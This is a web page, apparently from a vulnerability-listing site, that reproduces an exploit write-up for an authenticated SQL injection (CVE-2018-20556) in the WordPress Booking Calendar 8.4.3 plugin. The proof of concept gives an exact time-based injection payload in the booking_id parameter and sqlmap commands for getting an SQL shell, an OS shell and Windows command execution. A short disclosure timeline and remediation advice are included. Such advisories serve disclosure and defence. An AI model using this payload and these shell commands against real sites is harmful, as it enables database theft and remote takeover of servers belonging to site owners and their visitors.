wordpress plugin booking calendar 8.4.3 (authenticated) sql injection

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




wordpress plugin booking calendar 8.4.3 (authenticated) sql injection Code Code...
				
# Exploit Title: Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability # Date: 2018-12-28 # Exploit Author: B0UG # Vendor Homepage: https://wpbookingcalendar.com/ # Software Link: https://wordpress.org/plugins/booking/ # Version: Tested on version 8.4.3 (older versions may also be affected) # Tested on: WordPress # Category : Webapps # CVE: CVE-2018-20556 #I. VULNERABILITY Authenticated SQL Injection #II. BACKGROUND 'Booking Calendar' WordPress plugin developed by oplugins is a booking system which allows website visitors to check the availability of services and make reservations. #III. DESCRIPTION An authenticated SQL Injection vulnerability in the 'Booking Calendar' WordPress plugin allows an attacker to read arbitrary data from the database. #IV. PROOF OF CONCEPT 1) Access WordPress control panel. 2) Navigate to the Booking Calendar plugin page. 3) Set up Burp Suite to capture the traffic. 4) Select one of the booking entries and click on the 'Trash Can' button to delete the entry. 5) Within Burp Suite, analyse the POST request and idenitfy the parameter 'booking_id'. 6) The 'booking_id' parameter is vulnerable to the following different types of SQL injection: • Boolean based blind injection • Error based injection • Time based injection 7) We can perform a time based SQL injection by appending ) AND SLEEP(100) AND (1=1 after the ID value in the parameter as shown below. action=TRASH_RESTORE&booking_id=573) AND SLEEP(100) AND (1=1&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=en_US&is_trash=1&wpbc_nonce=99c5ffaa67 Obtaining a shell using sqlmap ----------------------- • Obtain a SQL Shell Sqlmap –r post-request.txt –p booking_id --sql-shell • Obtain a Linux Shell Sqlmap –r post-request.txt –p booking_id --os-shell • Obtain a Windows Command Prompt Sqlmap –r post-request.txt –p booking_id --os-cmd #V. IMPACT The vulnerability allows an attacker to read arbitrary data from the database. It is possible to get a remote shell from this vulnerability. #VI. SYSTEMS AFFECTED WordPress websites running 'Booking Calendar' WordPress plugin version 8.4.3 (older versions may also be affected). #VII. REMEDIATION Uninstall the plugin until the vulnerability has been fixed by the developer. #VIII. DISCLOSURE TIMELINE #December 28, 2018 1: Vulnerability identified. #December 28, 2018 2: Informed developer of the vulnerability. #February 14, 2019 3: No communication received back from the developer.

Wordpress plugin booking calendar 8.4.3 (authenticated) sql injection Vulnerability / Exploit Source : Wordpress plugin booking calendar 8.4.3 (authenticated) sql injection



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.